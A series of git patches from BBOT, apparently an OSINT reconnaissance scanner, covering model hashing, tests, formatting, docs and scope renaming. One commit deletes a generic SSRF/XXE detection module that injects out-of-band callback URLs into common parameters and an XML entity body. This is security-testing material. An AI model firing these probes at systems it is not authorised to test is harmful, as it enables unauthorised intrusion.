start - await self.wait_for_port(5432) + await self.wait_for_port_open(5432) if process.returncode != 0: self.log.error("Failed to start PostgreSQL server") From 9955c5f097579acc9c2bd16f3ded7876c946d905 Mon Sep 17 00:00:00 2001 From: github-actions Date: Mon, 25 Nov 2024 12:07:52 -0500 Subject: [PATCH 070/912] allow extra second for port to come online --- bbot/test/test_step_2/module_tests/base.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/bbot/test/test_step_2/module_tests/base.py b/bbot/test/test_step_2/module_tests/base.py index 697dc2a235..251cd6ad1a 100644 --- a/bbot/test/test_step_2/module_tests/base.py +++ b/bbot/test/test_step_2/module_tests/base.py @@ -158,6 +158,8 @@ async def wait_for_port_open(self, port): while not await self.is_port_open("localhost", port): self.log.verbose(f"Waiting for port {port} to be open...") await asyncio.sleep(0.5) + # allow an extra second for things to settle + await asyncio.sleep(1) async def is_port_open(self, host, port): try: From 1b5ff6058181cf4218601b76b3fdb64ec9d39b0e Mon Sep 17 00:00:00 2001 From: github-actions Date: Mon, 23 Dec 2024 16:07:01 -0500 Subject: [PATCH 071/912] fix Event.hash() --- bbot/models/pydantic.py | 4 ++++ docs/scanning/configuration.md | 2 +- 2 files changed, 5 insertions(+), 1 deletion(-) diff --git a/bbot/models/pydantic.py b/bbot/models/pydantic.py index b7c5baae9b..d9f8cde643 100644 --- a/bbot/models/pydantic.py +++ b/bbot/models/pydantic.py @@ -1,3 +1,4 @@ +import json import logging from pydantic import BaseModel, ConfigDict, Field from typing import Optional, List, Union, Annotated @@ -10,6 +11,9 @@ class BBOTBaseModel(BaseModel): model_config = ConfigDict(extra="ignore") + def to_json(self, **kwargs): + return json.dumps(self.validated.model_dump(), sort_keys=True, **kwargs) + def __hash__(self): return hash(self.to_json()) diff --git a/docs/scanning/configuration.md b/docs/scanning/configuration.md index 4ce1a92212..a7c3449a8c 100644 --- a/docs/scanning/configuration.md +++ b/docs/scanning/configuration.md @@ -30,7 +30,7 @@ You can specify config options either via the command line or the config. For ex bbot -t evilcorp.com -c http_proxy=http://127.0.0.1:8080 ``` -Or, in `~/.config/bbot/config.yml`: +Or, in `~/.config/bbot/bbot.yml`: ```yaml title="~/.bbot/config/bbot.yml" http_proxy: http://127.0.0.1:8080 From 48b2086a9050c3a80fa72850661d58db2877f9fa Mon Sep 17 00:00:00 2001 From: github-actions Date: Mon, 23 Dec 2024 16:11:46 -0500 Subject: [PATCH 072/912] fix Event.hash() --- bbot/models/pydantic.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/models/pydantic.py b/bbot/models/pydantic.py index d9f8cde643..a8c983c236 100644 --- a/bbot/models/pydantic.py +++ b/bbot/models/pydantic.py @@ -12,7 +12,7 @@ class BBOTBaseModel(BaseModel): model_config = ConfigDict(extra="ignore") def to_json(self, **kwargs): - return json.dumps(self.validated.model_dump(), sort_keys=True, **kwargs) + return json.dumps(self.model_dump(), sort_keys=True, **kwargs) def __hash__(self): return hash(self.to_json()) From 07a6c48d241d93afccf328cc96fe195b7a3a76b1 Mon Sep 17 00:00:00 2001 From: github-actions Date: Wed, 22 Jan 2025 11:44:34 -0500 Subject: [PATCH 073/912] reverse host --- bbot/models/pydantic.py | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/bbot/models/pydantic.py b/bbot/models/pydantic.py index a8c983c236..5d766cbeba 100644 --- a/bbot/models/pydantic.py +++ b/bbot/models/pydantic.py @@ -11,6 +11,11 @@ class BBOTBaseModel(BaseModel): model_config = ConfigDict(extra="ignore") + def __init__(self, **data): + super().__init__(**data) + if getattr(self, "host", ""): + self.reverse_host = self.host[::-1] + def to_json(self, **kwargs): return json.dumps(self.model_dump(), sort_keys=True, **kwargs) @@ -83,11 +88,6 @@ class Event(BBOTBaseModel): discovery_path: List[str] = [] parent_chain: List[str] = [] - def __init__(self, **data): - super().__init__(**data) - if self.host: - self.reverse_host = self.host[::-1] - def get_data(self): if self.data is not None: return self.data From 09e861d71384d5bdf700d9f207c8d1cf67a7eb04 Mon Sep 17 00:00:00 2001 From: github-actions Date: Sat, 8 Feb 2025 12:21:53 -0500 Subject: [PATCH 074/912] archived --- bbot/models/pydantic.py | 1 + 1 file changed, 1 insertion(+) diff --git a/bbot/models/pydantic.py b/bbot/models/pydantic.py index 5d766cbeba..4524885ff2 100644 --- a/bbot/models/pydantic.py +++ b/bbot/models/pydantic.py @@ -87,6 +87,7 @@ class Event(BBOTBaseModel): discovery_context: str = "" discovery_path: List[str] = [] parent_chain: List[str] = [] + archived: bool = False def get_data(self): if self.data is not None: From cd45037561e24b24c341d66fc00ecaac9310fc3a Mon Sep 17 00:00:00 2001 From: github-actions Date: Wed, 5 Mar 2025 09:51:25 -0500 Subject: [PATCH 075/912] fix conflict --- pyproject.toml | 4 ---- 1 file changed, 4 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index c9112028b6..9d2579b998 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,10 +1,6 @@ [tool.poetry] name = "bbot" -<<<<<<< HEAD version = "3.0.0" -======= -version = "2.4.0" ->>>>>>> dev description = "OSINT automation for hackers." authors = [ "TheTechromancer", From a5959a6bdeb5c78cf3fc03c220732edeb15683bf Mon Sep 17 00:00:00 2001 From: github-actions Date: Tue, 18 Mar 2025 11:15:59 -0400 Subject: [PATCH 076/912] add hashing to pydantic model --- bbot/models/pydantic.py | 3 +++ bbot/test/test_step_1/test_db_models.py | 36 +++++++++++++++++++++++-- 2 files changed, 37 insertions(+), 2 deletions(-) diff --git a/bbot/models/pydantic.py b/bbot/models/pydantic.py index 4524885ff2..499ee36c88 100644 --- a/bbot/models/pydantic.py +++ b/bbot/models/pydantic.py @@ -94,6 +94,9 @@ def get_data(self): return self.data return self.data_json + def __hash__(self): + return hash(self.id) + ### SCAN ### diff --git a/bbot/test/test_step_1/test_db_models.py b/bbot/test/test_step_1/test_db_models.py index 9c71390696..23187cae42 100644 --- a/bbot/test/test_step_1/test_db_models.py +++ b/bbot/test/test_step_1/test_db_models.py @@ -7,7 +7,7 @@ from ..bbot_fixtures import * # noqa -def test_pydantic_models(events): +def test_pydantic_models(events, bbot_scanner): # test datetime helpers now = datetime.now(ZoneInfo("America/New_York")) @@ -48,12 +48,44 @@ def test_pydantic_models(events): assert isinstance(event_pydantic_dict["timestamp"], float) assert isinstance(event_pydantic_dict["inserted_at"], float) - event_pydantic_dict = event_pydantic.model_dump(exclude_none=True, exclude=["reverse_host", "inserted_at"]) + event_pydantic_dict = event_pydantic.model_dump(exclude_none=True, exclude=["reverse_host", "inserted_at", "archived"]) assert event_pydantic_dict == event_json event_pydantic_dict.pop("scan") event_pydantic_dict.pop("module") event_pydantic_dict.pop("module_sequence") assert event_reconstituted.json() == event_pydantic_dict + # make sure we can dedupe events by their id + scan = bbot_scanner() + event1 = scan.make_event("1.2.3.4", parent=scan.root_event) + event2 = scan.make_event("1.2.3.4", parent=scan.root_event) + event3 = scan.make_event("evilcorp.com", parent=scan.root_event) + event4 = scan.make_event("evilcorp.com", parent=scan.root_event) + # first two events are IPS + assert event1.uuid != event2.uuid + assert event1.id == event2.id + # second two are DNS + assert event2.uuid != event3.uuid + assert event2.id != event3.id + assert event3.uuid != event4.uuid + assert event3.id == event4.id + + event_set_bbot = { + event1, + event2, + event3, + event4, + } + assert len(event_set_bbot) == 2 + assert set([e.type for e in event_set_bbot]) == {"IP_ADDRESS", "DNS_NAME"} + + event_set_pydantic = { + Event(**event1.json()), + Event(**event2.json()), + Event(**event3.json()), + Event(**event4.json()), + } + assert len(event_set_pydantic) == 2 + assert set([e.type for e in event_set_pydantic]) == {"IP_ADDRESS", "DNS_NAME"} # TODO: SQL From 6557fb2df46f05f69192493e28ceb48e8deb0349 Mon Sep 17 00:00:00 2001 From: github-actions Date: Tue, 18 Mar 2025 11:17:06 -0400 Subject: [PATCH 077/912] ruffed --- bbot/models/pydantic.py | 3 +++ bbot/models/sql.py | 3 +++ bbot/test/bbot_fixtures.py | 1 - bbot/test/test_step_1/test_db_models.py | 6 ++++-- .../module_tests/test_module_elastic.py | 21 +++++++++---------- .../module_tests/test_module_mongo.py | 7 +++---- 6 files changed, 23 insertions(+), 18 deletions(-) diff --git a/bbot/models/pydantic.py b/bbot/models/pydantic.py index 499ee36c88..eed14356d8 100644 --- a/bbot/models/pydantic.py +++ b/bbot/models/pydantic.py @@ -59,6 +59,7 @@ def _indexed_fields(cls): ### EVENT ### + class Event(BBOTBaseModel): uuid: Annotated[str, "indexed", "unique"] id: Annotated[str, "indexed"] @@ -100,6 +101,7 @@ def __hash__(self): ### SCAN ### + class Scan(BBOTBaseModel): id: Annotated[str, "indexed", "unique"] name: str @@ -123,6 +125,7 @@ def from_scan(cls, scan): ### TARGET ### + class Target(BBOTBaseModel): name: str = "Default Target" strict_scope: bool = False diff --git a/bbot/models/sql.py b/bbot/models/sql.py index 78465511f6..82ccdb1f6f 100644 --- a/bbot/models/sql.py +++ b/bbot/models/sql.py @@ -61,6 +61,7 @@ def __eq__(self, other): ### EVENT ### + class Event(BBOTBaseModel, table=True): def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) @@ -105,6 +106,7 @@ def get_data(self): ### SCAN ### + class Scan(BBOTBaseModel, table=True): id: str = Field(primary_key=True) name: str @@ -119,6 +121,7 @@ class Scan(BBOTBaseModel, table=True): ### TARGET ### + class Target(BBOTBaseModel, table=True): name: str = "Default Target" strict_scope: bool = False diff --git a/bbot/test/bbot_fixtures.py b/bbot/test/bbot_fixtures.py index 58038d860b..b12654e41e 100644 --- a/bbot/test/bbot_fixtures.py +++ b/bbot/test/bbot_fixtures.py @@ -147,7 +147,6 @@ def helpers(scan): @pytest.fixture def events(scan): - dummy_module = scan._make_dummy_module("dummy_module") class bbot_events: diff --git a/bbot/test/test_step_1/test_db_models.py b/bbot/test/test_step_1/test_db_models.py index 23187cae42..0e175f3418 100644 --- a/bbot/test/test_step_1/test_db_models.py +++ b/bbot/test/test_step_1/test_db_models.py @@ -8,7 +8,6 @@ def test_pydantic_models(events, bbot_scanner): - # test datetime helpers now = datetime.now(ZoneInfo("America/New_York")) utc_now = utc_datetime_validator(now) @@ -48,7 +47,9 @@ def test_pydantic_models(events, bbot_scanner): assert isinstance(event_pydantic_dict["timestamp"], float) assert isinstance(event_pydantic_dict["inserted_at"], float) - event_pydantic_dict = event_pydantic.model_dump(exclude_none=True, exclude=["reverse_host", "inserted_at", "archived"]) + event_pydantic_dict = event_pydantic.model_dump( + exclude_none=True, exclude=["reverse_host", "inserted_at", "archived"] + ) assert event_pydantic_dict == event_json event_pydantic_dict.pop("scan") event_pydantic_dict.pop("module") @@ -88,4 +89,5 @@ def test_pydantic_models(events, bbot_scanner): assert len(event_set_pydantic) == 2 assert set([e.type for e in event_set_pydantic]) == {"IP_ADDRESS", "DNS_NAME"} + # TODO: SQL diff --git a/bbot/test/test_step_2/module_tests/test_module_elastic.py b/bbot/test/test_step_2/module_tests/test_module_elastic.py index db9f2359f7..550371f70f 100644 --- a/bbot/test/test_step_2/module_tests/test_module_elastic.py +++ b/bbot/test/test_step_2/module_tests/test_module_elastic.py @@ -52,7 +52,7 @@ async def setup_before_prep(self, module_test): time.sleep(0.5) # Ensure the index is empty - await client.delete(f"https://localhost:9200/bbot_test_events", auth=("elastic", "bbotislife")) + await client.delete("https://localhost:9200/bbot_test_events", auth=("elastic", "bbotislife")) async def check(self, module_test, events): try: @@ -63,10 +63,9 @@ async def check(self, module_test, events): # Connect to Elasticsearch async with httpx.AsyncClient(verify=False) as client: - # Fetch all events from the index response = await client.get( - f"https://localhost:9200/bbot_test_events/_search?size=100", auth=("elastic", "bbotislife") + "https://localhost:9200/bbot_test_events/_search?size=100", auth=("elastic", "bbotislife") ) response_json = response.json() db_events = [hit["_source"] for hit in response_json["hits"]["hits"]] @@ -91,15 +90,15 @@ async def check(self, module_test, events): ), None, ) - assert ( - main_event is not None - ), "Main event with type DNS_NAME and data blacklanternsecurity.com not found" + assert main_event is not None, ( + "Main event with type DNS_NAME and data blacklanternsecurity.com not found" + ) # Ensure it has the reverse_host attribute expected_reverse_host = "blacklanternsecurity.com"[::-1] - assert ( - main_event.get("reverse_host") == expected_reverse_host - ), f"reverse_host attribute is not correct, expected {expected_reverse_host}" + assert main_event.get("reverse_host") == expected_reverse_host, ( + f"reverse_host attribute is not correct, expected {expected_reverse_host}" + ) # Events don't match exactly because the elastic ones have reverse_host and inserted_at assert events_json != db_events_pydantic @@ -113,11 +112,11 @@ async def check(self, module_test, events): # Clean up: Delete all documents in the index async with httpx.AsyncClient(verify=False) as client: response = await client.delete( - f"https://localhost:9200/bbot_test_events", + "https://localhost:9200/bbot_test_events", auth=("elastic", "bbotislife"), params={"ignore": "400,404"}, ) - self.log.verbose(f"Deleted documents from index") + self.log.verbose("Deleted documents from index") await asyncio.create_subprocess_exec( "docker", "stop", "bbot-test-elastic", stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE ) diff --git a/bbot/test/test_step_2/module_tests/test_module_mongo.py b/bbot/test/test_step_2/module_tests/test_module_mongo.py index ac28e64e7b..3a85e1ee56 100644 --- a/bbot/test/test_step_2/module_tests/test_module_mongo.py +++ b/bbot/test/test_step_2/module_tests/test_module_mongo.py @@ -20,7 +20,6 @@ class TestMongo(ModuleTestBase): skip_distro_tests = True async def setup_before_prep(self, module_test): - await asyncio.create_subprocess_exec( "docker", "run", @@ -110,9 +109,9 @@ async def check(self, module_test, events): # Ensure it has the reverse_host attribute expected_reverse_host = "blacklanternsecurity.com"[::-1] - assert ( - main_event.get("reverse_host") == expected_reverse_host - ), f"reverse_host attribute is not correct, expected {expected_reverse_host}" + assert main_event.get("reverse_host") == expected_reverse_host, ( + f"reverse_host attribute is not correct, expected {expected_reverse_host}" + ) # Events don't match exactly because the mongo ones have reverse_host and inserted_at assert events_json != db_events_pydantic From dcf70f687e4043e0a82b05892e059e2f791ea7ae Mon Sep 17 00:00:00 2001 From: github-actions Date: Tue, 18 Mar 2025 11:43:42 -0400 Subject: [PATCH 078/912] fix elastic --- bbot/modules/output/elastic.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/modules/output/elastic.py b/bbot/modules/output/elastic.py index 42c331c516..064c00af7c 100644 --- a/bbot/modules/output/elastic.py +++ b/bbot/modules/output/elastic.py @@ -7,7 +7,7 @@ class Elastic(HTTP): """ watched_events = ["*"] - metadata = { + meta = { "description": "Send scan results to Elasticsearch", "created_date": "2022-11-21", "author": "@TheTechromancer", From f3f5fecba038aba34d0505b57ec602d772d2959f Mon Sep 17 00:00:00 2001 From: github-actions Date: Tue, 18 Mar 2025 12:54:57 -0400 Subject: [PATCH 079/912] timezone things --- bbot/modules/output/nmap_xml.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/bbot/modules/output/nmap_xml.py b/bbot/modules/output/nmap_xml.py index 52698e0de8..9a0cee27eb 100644 --- a/bbot/modules/output/nmap_xml.py +++ b/bbot/modules/output/nmap_xml.py @@ -1,6 +1,7 @@ import sys from xml.dom import minidom from datetime import datetime +from zoneinfo import ZoneInfo from xml.etree.ElementTree import Element, SubElement, tostring from bbot import __version__ @@ -76,7 +77,7 @@ async def handle_event(self, event): async def report(self): scan_start_time = str(int(self.scan.start_time.timestamp())) scan_start_time_str = self.scan.start_time.strftime("%a %b %d %H:%M:%S %Y") - scan_end_time = datetime.now() + scan_end_time = datetime.now(ZoneInfo("UTC")) scan_end_time_str = scan_end_time.strftime("%a %b %d %H:%M:%S %Y") scan_end_time_timestamp = str(scan_end_time.timestamp()) scan_duration = scan_end_time - self.scan.start_time From 03eb3cab374629aee6558f9448cde59967065d4d Mon Sep 17 00:00:00 2001 From: github-actions Date: Wed, 19 Mar 2025 13:36:14 -0400 Subject: [PATCH 080/912] fix elastic --- bbot/modules/subdomaincenter.py | 1 + bbot/test/test_step_2/module_tests/test_module_elastic.py | 1 + docs/scanning/output.md | 6 +++--- 3 files changed, 5 insertions(+), 3 deletions(-) diff --git a/bbot/modules/subdomaincenter.py b/bbot/modules/subdomaincenter.py index 077ccf1a6c..c58a0779df 100644 --- a/bbot/modules/subdomaincenter.py +++ b/bbot/modules/subdomaincenter.py @@ -1,6 +1,7 @@ from bbot.modules.templates.subdomain_enum import subdomain_enum + class subdomaincenter(subdomain_enum): flags = ["subdomain-enum", "passive", "safe"] watched_events = ["DNS_NAME"] diff --git a/bbot/test/test_step_2/module_tests/test_module_elastic.py b/bbot/test/test_step_2/module_tests/test_module_elastic.py index 550371f70f..b3af6e694a 100644 --- a/bbot/test/test_step_2/module_tests/test_module_elastic.py +++ b/bbot/test/test_step_2/module_tests/test_module_elastic.py @@ -105,6 +105,7 @@ async def check(self, module_test, events): for db_event in db_events_pydantic: db_event.pop("reverse_host") db_event.pop("inserted_at") + db_event.pop("archived") # They should match after removing reverse_host assert events_json == db_events_pydantic, "Events do not match" diff --git a/docs/scanning/output.md b/docs/scanning/output.md index f064dab242..6063c0a893 100644 --- a/docs/scanning/output.md +++ b/docs/scanning/output.md @@ -165,9 +165,9 @@ docker run -d -p 9200:9200 --name=bbot-elastic --v "$(pwd)/elastic_data:/usr/sha ```bash # send scan results directly to elasticsearch -# note: you can replace "bbot_events" with your own index name +# note: you can replace "bbot" with your own index name bbot -t evilcorp.com -om elastic -c \ - modules.elastic.url=https://localhost:9200/bbot_events/_doc \ + modules.elastic.url=https://localhost:9200/bbot/_doc \ modules.elastic.password=bbotislife ``` @@ -177,7 +177,7 @@ Alternatively, via a preset: config: modules: elastic: - url: http://localhost:9200/bbot_events/_doc + url: http://localhost:9200/bbot/_doc password: bbotislife ``` From a6576691733b9b8ae6aaa5c271f9daa48d0a6b55 Mon Sep 17 00:00:00 2001 From: github-actions Date: Wed, 19 Mar 2025 14:27:36 -0400 Subject: [PATCH 081/912] ruffed --- bbot/modules/subdomaincenter.py | 1 - 1 file changed, 1 deletion(-) diff --git a/bbot/modules/subdomaincenter.py b/bbot/modules/subdomaincenter.py index c58a0779df..077ccf1a6c 100644 --- a/bbot/modules/subdomaincenter.py +++ b/bbot/modules/subdomaincenter.py @@ -1,7 +1,6 @@ from bbot.modules.templates.subdomain_enum import subdomain_enum - class subdomaincenter(subdomain_enum): flags = ["subdomain-enum", "passive", "safe"] watched_events = ["DNS_NAME"] From 2e835febe13ec05b47faca51df666e40b90ad231 Mon Sep 17 00:00:00 2001 From: github-actions Date: Thu, 20 Mar 2025 11:13:20 -0400 Subject: [PATCH 082/912] delete generic ssrf --- bbot/modules/generic_ssrf.py | 262 ------------------ .../module_tests/test_module_generic_ssrf.py | 88 ------ 2 files changed, 350 deletions(-) delete mode 100644 bbot/modules/generic_ssrf.py delete mode 100644 bbot/test/test_step_2/module_tests/test_module_generic_ssrf.py diff --git a/bbot/modules/generic_ssrf.py b/bbot/modules/generic_ssrf.py deleted file mode 100644 index 6ccde510b9..0000000000 --- a/bbot/modules/generic_ssrf.py +++ /dev/null @@ -1,262 +0,0 @@ -from bbot.errors import InteractshError -from bbot.modules.base import BaseModule - - -ssrf_params = [ - "Dest", - "Redirect", - "URI", - "Path", - "Continue", - "URL", - "Window", - "Next", - "Data", - "Reference", - "Site", - "HTML", - "Val", - "Validate", - "Domain", - "Callback", - "Return", - "Page", - "Feed", - "Host", - "Port", - "To", - "Out", - "View", - "Dir", - "Show", - "Navigation", - "Open", -] - - -class BaseSubmodule: - technique_description = "base technique description" - severity = "INFO" - paths = [] - - def __init__(self, generic_ssrf): - self.generic_ssrf = generic_ssrf - self.test_paths = self.create_paths() - - def set_base_url(self, event): - return f"{event.parsed_url.scheme}://{event.parsed_url.netloc}" - - def create_paths(self): - return self.paths - - async def test(self, event): - base_url = self.set_base_url(event) - for test_path_result in self.test_paths: - for lower in [True, False]: - test_path = test_path_result[0] - if lower: - test_path = test_path.lower() - subdomain_tag = test_path_result[1] - test_url = f"{base_url}{test_path}" - self.generic_ssrf.debug(f"Sending request to URL: {test_url}") - r = await self.generic_ssrf.helpers.curl(url=test_url) - if r: - self.process(event, r, subdomain_tag) - - def process(self, event, r, subdomain_tag): - response_token = self.generic_ssrf.interactsh_domain.split(".")[0][::-1] - if response_token in r: - echoed_response = True - else: - echoed_response = False - - self.generic_ssrf.interactsh_subdomain_tags[subdomain_tag] = ( - event, - self.technique_description, - self.severity, - echoed_response, - ) - - -class Generic_SSRF(BaseSubmodule): - technique_description = "Generic SSRF (GET)" - severity = "HIGH" - - def set_base_url(self, event): - return event.data - - def create_paths(self): - test_paths = [] - for param in ssrf_params: - query_string = "" - subdomain_tag = self.generic_ssrf.helpers.rand_string(4) - ssrf_canary = f"{subdomain_tag}.{self.generic_ssrf.interactsh_domain}" - self.generic_ssrf.parameter_subdomain_tags_map[subdomain_tag] = param - query_string += f"{param}=http://{ssrf_canary}&" - test_paths.append((f"?{query_string.rstrip('&')}", subdomain_tag)) - return test_paths - - -class Generic_SSRF_POST(BaseSubmodule): - technique_description = "Generic SSRF (POST)" - severity = "HIGH" - - def set_base_url(self, event): - return event.data - - async def test(self, event): - test_url = f"{event.data}" - - post_data = {} - for param in ssrf_params: - subdomain_tag = self.generic_ssrf.helpers.rand_string(4, digits=False) - self.generic_ssrf.parameter_subdomain_tags_map[subdomain_tag] = param - post_data[param] = f"http://{subdomain_tag}.{self.generic_ssrf.interactsh_domain}" - - subdomain_tag_lower = self.generic_ssrf.helpers.rand_string(4, digits=False) - post_data_lower = { - k.lower(): f"http://{subdomain_tag_lower}.{self.generic_ssrf.interactsh_domain}" - for k, v in post_data.items() - } - - post_data_list = [(subdomain_tag, post_data), (subdomain_tag_lower, post_data_lower)] - - for tag, pd in post_data_list: - r = await self.generic_ssrf.helpers.curl(url=test_url, method="POST", post_data=pd) - self.process(event, r, tag) - - -class Generic_XXE(BaseSubmodule): - technique_description = "Generic XXE" - severity = "HIGH" - paths = None - - async def test(self, event): - rand_entity = self.generic_ssrf.helpers.rand_string(4, digits=False) - subdomain_tag = self.generic_ssrf.helpers.rand_string(4, digits=False) - - post_body = f""" - - -]> -&{rand_entity};""" - test_url = event.parsed_url.geturl() - r = await self.generic_ssrf.helpers.curl( - url=test_url, method="POST", raw_body=post_body, headers={"Content-type": "application/xml"} - ) - if r: - self.process(event, r, subdomain_tag) - - -class generic_ssrf(BaseModule): - watched_events = ["URL"] - produced_events = ["VULNERABILITY"] - flags = ["active", "aggressive", "web-thorough"] - meta = {"description": "Check for generic SSRFs", "created_date": "2022-07-30", "author": "@liquidsec"} - options = { - "skip_dns_interaction": False, - } - options_desc = { - "skip_dns_interaction": "Do not report DNS interactions (only HTTP interaction)", - } - in_scope_only = True - - deps_apt = ["curl"] - - async def setup(self): - self.submodules = {} - self.interactsh_subdomain_tags = {} - self.parameter_subdomain_tags_map = {} - self.severity = None - self.skip_dns_interaction = self.config.get("skip_dns_interaction", False) - - if self.scan.config.get("interactsh_disable", False) is False: - try: - self.interactsh_instance = self.helpers.interactsh() - self.interactsh_domain = await self.interactsh_instance.register(callback=self.interactsh_callback) - except InteractshError as e: - self.warning(f"Interactsh failure: {e}") - return False - else: - self.warning( - "The generic_ssrf module is completely dependent on interactsh to function, but it is disabled globally. Aborting." - ) - return None - - # instantiate submodules - for m in BaseSubmodule.__subclasses__(): - if m.__name__.startswith("Generic_"): - self.verbose(f"Starting generic_ssrf submodule: {m.__name__}") - self.submodules[m.__name__] = m(self) - - return True - - async def handle_event(self, event): - for s in self.submodules.values(): - await s.test(event) - - async def interactsh_callback(self, r): - protocol = r.get("protocol").upper() - if protocol == "DNS" and self.skip_dns_interaction: - return - - full_id = r.get("full-id", None) - subdomain_tag = full_id.split(".")[0] - - if full_id: - if "." in full_id: - match = self.interactsh_subdomain_tags.get(subdomain_tag) - if not match: - return - matched_event = match[0] - matched_technique = match[1] - matched_severity = match[2] - matched_echoed_response = str(match[3]) - - triggering_param = self.parameter_subdomain_tags_map.get(subdomain_tag, None) - description = f"Out-of-band interaction: [{matched_technique}]" - if triggering_param: - self.debug(f"Found triggering parameter: {triggering_param}") - description += f" [Triggering Parameter: {triggering_param}]" - description += f" [{protocol}] Echoed Response: {matched_echoed_response}" - - self.debug(f"Emitting event with description: {description}") # Debug the final description - - event_type = "VULNERABILITY" if protocol == "HTTP" else "FINDING" - event_data = { - "host": str(matched_event.host), - "url": matched_event.data, - "description": description, - } - if protocol == "HTTP": - event_data["severity"] = matched_severity - - await self.emit_event( - event_data, - event_type, - matched_event, - context=f"{{module}} scanned {matched_event.data} and detected {{event.type}}: {matched_technique}", - ) - else: - # this is likely caused by something trying to resolve the base domain first and can be ignored - self.debug("skipping result because subdomain tag was missing") - - async def cleanup(self): - if self.scan.config.get("interactsh_disable", False) is False: - try: - await self.interactsh_instance.deregister() - self.debug( - f"successfully deregistered interactsh session with correlation_id {self.interactsh_instance.correlation_id}" - ) - except InteractshError as e: - self.warning(f"Interactsh failure: {e}") - - async def finish(self): - if self.scan.config.get("interactsh_disable", False) is False: - await self.helpers.sleep(5) - try: - for r in await self.interactsh_instance.poll(): - await self.interactsh_callback(r) - except InteractshError as e: - self.debug(f"Error in interact.sh: {e}") diff --git a/bbot/test/test_step_2/module_tests/test_module_generic_ssrf.py b/bbot/test/test_step_2/module_tests/test_module_generic_ssrf.py deleted file mode 100644 index c0911fd661..0000000000 --- a/bbot/test/test_step_2/module_tests/test_module_generic_ssrf.py +++ /dev/null @@ -1,88 +0,0 @@ -import re -import asyncio -from werkzeug.wrappers import Response - -from .base import ModuleTestBase - - -def extract_subdomain_tag(data): - pattern = r"http://([a-z0-9]{4})\.fakedomain\.fakeinteractsh\.com" - match = re.search(pattern, data) - if match: - return match.group(1) - - -class TestGeneric_SSRF(ModuleTestBase): - targets = ["http://127.0.0.1:8888"] - modules_overrides = ["httpx", "generic_ssrf"] - - def request_handler(self, request): - subdomain_tag = None - - if request.method == "GET": - subdomain_tag = extract_subdomain_tag(request.full_path) - elif request.method == "POST": - subdomain_tag = extract_subdomain_tag(request.data.decode()) - if subdomain_tag: - asyncio.run( - self.interactsh_mock_instance.mock_interaction( - subdomain_tag, msg=f"{request.method}: {request.data.decode()}" - ) - ) - - return Response("alive", status=200) - - async def setup_before_prep(self, module_test): - self.interactsh_mock_instance = module_test.mock_interactsh("generic_ssrf") - module_test.monkeypatch.setattr( - module_test.scan.helpers, "interactsh", lambda *args, **kwargs: self.interactsh_mock_instance - ) - - async def setup_after_prep(self, module_test): - expect_args = re.compile("/") - module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) - - def check(self, module_test, events): - total_vulnerabilities = 0 - total_findings = 0 - - for e in events: - if e.type == "VULNERABILITY": - total_vulnerabilities += 1 - elif e.type == "FINDING": - total_findings += 1 - - assert total_vulnerabilities == 30, "Incorrect number of vulnerabilities detected" - assert total_findings == 30, "Incorrect number of findings detected" - - assert any( - e.type == "VULNERABILITY" - and "Out-of-band interaction: [Generic SSRF (GET)]" - and "[Triggering Parameter: Dest]" in e.data["description"] - for e in events - ), "Failed to detect Generic SSRF (GET)" - assert any( - e.type == "VULNERABILITY" and "Out-of-band interaction: [Generic SSRF (POST)]" in e.data["description"] - for e in events - ), "Failed to detect Generic SSRF (POST)" - assert any( - e.type == "VULNERABILITY" and "Out-of-band interaction: [Generic XXE] [HTTP]" in e.data["description"] - for e in events - ), "Failed to detect Generic SSRF (XXE)" - - -class TestGeneric_SSRF_httponly(TestGeneric_SSRF): - config_overrides = {"modules": {"generic_ssrf": {"skip_dns_interaction": True}}} - - def check(self, module_test, events): - total_vulnerabilities = 0 - total_findings = 0 - - for e in events: - if e.type == "VULNERABILITY": - total_vulnerabilities += 1 - elif e.type == "FINDING": - total_findings += 1 - - assert total_vulnerabilities == 30, "Incorrect number of vulnerabilities detected" - assert total_findings == 0, "Incorrect number of findings detected" From 288caba044150366e4889241dcf9bcf6eb5f7e54 Mon Sep 17 00:00:00 2001 From: github-actions Date: Wed, 16 Apr 2025 11:00:44 -0400 Subject: [PATCH 083/912] strict dns scope --- bbot/cli.py | 2 +- bbot/defaults.yml | 6 +++--- bbot/models/pydantic.py | 2 +- bbot/models/sql.py | 2 +- bbot/scanner/preset/args.py | 4 ++-- bbot/scanner/preset/preset.py | 6 +++--- bbot/scanner/target.py | 10 +++++----- bbot/test/test_step_1/test_presets.py | 2 +- bbot/test/test_step_1/test_target.py | 8 ++++---- 9 files changed, 21 insertions(+), 21 deletions(-) diff --git a/bbot/cli.py b/bbot/cli.py index 333ab8c202..779a5ab557 100755 --- a/bbot/cli.py +++ b/bbot/cli.py @@ -198,7 +198,7 @@ async def _main(): if sys.stdin.isatty(): # warn if any targets belong directly to a cloud provider - if not scan.preset.strict_scope: + if not scan.preset.strict_dns_scope: for event in scan.target.seeds.event_seeds: if event.type == "DNS_NAME": cloudcheck_result = scan.helpers.cloudcheck(event.host) diff --git a/bbot/defaults.yml b/bbot/defaults.yml index 1a1aa62bb0..165974bdb4 100644 --- a/bbot/defaults.yml +++ b/bbot/defaults.yml @@ -14,9 +14,9 @@ folder_blobs: false ### SCOPE ### scope: - # strict scope means only exact DNS names are considered in-scope - # subdomains are not included unless they are explicitly provided in the target list - strict: false + # strict DNS scope means only exact DNS names are considered in-scope + # subdomains are not included unless they are explicitly whitelisted + strict_dns: false # Filter by scope distance which events are displayed in the output # 0 == show only in-scope events (affiliates are always shown) # 1 == show all events up to distance-1 (1 hop from target) diff --git a/bbot/models/pydantic.py b/bbot/models/pydantic.py index eed14356d8..816a10b0cd 100644 --- a/bbot/models/pydantic.py +++ b/bbot/models/pydantic.py @@ -128,7 +128,7 @@ def from_scan(cls, scan): class Target(BBOTBaseModel): name: str = "Default Target" - strict_scope: bool = False + strict_dns_scope: bool = False 